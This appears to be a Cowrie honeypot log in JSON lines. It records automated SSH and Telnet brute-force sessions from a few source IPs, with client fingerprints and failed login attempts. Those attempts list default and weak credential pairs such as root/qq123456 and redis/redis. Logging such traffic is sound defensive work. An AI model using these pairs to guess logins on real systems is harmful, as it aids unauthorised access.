{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:14:54.687613Z","src_ip":"192.109.200.237","session":"453306f4792a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qq123456","message":"login attempt [root/qq123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:14:54.934550Z","src_ip":"192.109.200.237","session":"453306f4792a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.251962423324585,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:14:55.274236Z","src_ip":"50.6.8.71","session":"2bdf8514ae64","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:14:56.020517Z","src_ip":"192.109.200.237","session":"453306f4792a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":35928,"dst_ip":"159.203.135.109","dst_port":22,"session":"c76be16a0bc9","protocol":"ssh","message":"New connection: 192.109.200.237:35928 (159.203.135.109:22) [session: c76be16a0bc9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:14:58.081598Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:14:58.086193Z","src_ip":"192.109.200.237","session":"c76be16a0bc9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:14:58.167902Z","src_ip":"192.109.200.237","session":"c76be16a0bc9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rdpuser","password":"rdpuser","message":"login attempt [rdpuser/rdpuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:14:58.413260Z","src_ip":"192.109.200.237","session":"c76be16a0bc9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":47376,"dst_ip":"10.17.0.5","dst_port":23,"session":"cb48d725fc56","protocol":"telnet","message":"New connection: 50.6.8.71:47376 (10.17.0.5:23) [session: cb48d725fc56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:14:58.813130Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:14:59.594972Z","src_ip":"192.109.200.237","session":"c76be16a0bc9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":60906,"dst_ip":"159.203.135.109","dst_port":22,"session":"121327fdeecf","protocol":"ssh","message":"New connection: 192.109.200.237:60906 (159.203.135.109:22) [session: 121327fdeecf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:15:01.567171Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:15:01.668192Z","src_ip":"192.109.200.237","session":"121327fdeecf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:15:01.672316Z","src_ip":"192.109.200.237","session":"121327fdeecf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"redis","password":"redis","message":"login attempt [redis/redis] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:15:02.034620Z","src_ip":"192.109.200.237","session":"121327fdeecf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:15:03.122647Z","src_ip":"192.109.200.237","session":"121327fdeecf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.641671657562256,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:15:04.316829Z","src_ip":"50.6.8.71","session":"4fe83810c332","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":60908,"dst_ip":"159.203.135.109","dst_port":22,"session":"ed35b3b0d823","protocol":"ssh","message":"New connection: 192.109.200.237:60908 (159.203.135.109:22) [session: ed35b3b0d823]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:15:05.264912Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:15:05.269729Z","src_ip":"192.109.200.237","session":"ed35b3b0d823","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:15:05.352666Z","src_ip":"192.109.200.237","session":"ed35b3b0d823","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"huawei","password":"Huawei12","message":"login attempt [huawei/Huawei12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:15:05.604556Z","src_ip":"192.109.200.237","session":"ed35b3b0d823","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:15:06.721381Z","src_ip":"192.109.200.237","session":"ed35b3b0d823","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":60910,"dst_ip":"159.203.135.109","dst_port":22,"session":"8a89e7cd0b9c","protocol":"ssh","message":"New connection: 192.109.200.237:60910 (159.203.135.109:22) [session: 8a89e7cd0b9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:15:08.639393Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:15:08.643403Z","src_ip":"192.109.200.237","session":"8a89e7cd0b9c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:15:08.725181Z","src_ip":"192.109.200.237","session":"8a89e7cd0b9c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"esadmin","password":"esadmin","message":"login attempt [esadmin/esadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:15:09.112189Z","src_ip":"192.109.200.237","session":"8a89e7cd0b9c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:15:10.196887Z","src_ip":"192.109.200.237","session":"8a89e7cd0b9c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.681215047836304,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:15:11.283965Z","src_ip":"50.6.8.71","session":"7fa2cf71c551","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":54020,"dst_ip":"159.203.135.109","dst_port":22,"session":"9d2e3d6ea044","protocol":"ssh","message":"New connection: 192.109.200.237:54020 (159.203.135.109:22) [session: 9d2e3d6ea044]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:15:12.297995Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:15:12.302864Z","src_ip":"192.109.200.237","session":"9d2e3d6ea044","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:15:12.385661Z","src_ip":"192.109.200.237","session":"9d2e3d6ea044","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"QWEqwe123","message":"login attempt [root/QWEqwe123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:15:12.632791Z","src_ip":"192.109.200.237","session":"9d2e3d6ea044","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.68864941596985,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:15:13.647458Z","src_ip":"50.6.8.71","session":"9a7427e270f7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:15:13.718192Z","src_ip":"192.109.200.237","session":"9d2e3d6ea044","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.17946648597717,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:15:14.711185Z","src_ip":"50.6.8.71","session":"4637bf39b8eb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":54024,"dst_ip":"159.203.135.109","dst_port":22,"session":"55458eff3fd1","protocol":"ssh","message":"New connection: 192.109.200.237:54024 (159.203.135.109:22) [session: 55458eff3fd1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:15:15.681313Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:15:15.686017Z","src_ip":"192.109.200.237","session":"55458eff3fd1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:15:15.768210Z","src_ip":"192.109.200.237","session":"55458eff3fd1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.1173460483551,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:15:15.775739Z","src_ip":"50.6.8.71","session":"0da2d1f0bcb8","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe123","message":"login attempt [root/qwe123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:15:16.014706Z","src_ip":"192.109.200.237","session":"55458eff3fd1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:15:17.100421Z","src_ip":"192.109.200.237","session":"55458eff3fd1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":54034,"dst_ip":"159.203.135.109","dst_port":22,"session":"fa070a1b187e","protocol":"ssh","message":"New connection: 192.109.200.237:54034 (159.203.135.109:22) [session: fa070a1b187e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:15:19.178079Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:15:19.183751Z","src_ip":"192.109.200.237","session":"fa070a1b187e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:15:19.271186Z","src_ip":"192.109.200.237","session":"fa070a1b187e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root1234","password":"root1234","message":"login attempt [root1234/root1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:15:19.517197Z","src_ip":"192.109.200.237","session":"fa070a1b187e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:15:20.601312Z","src_ip":"192.109.200.237","session":"fa070a1b187e","protocol":"ssh"}
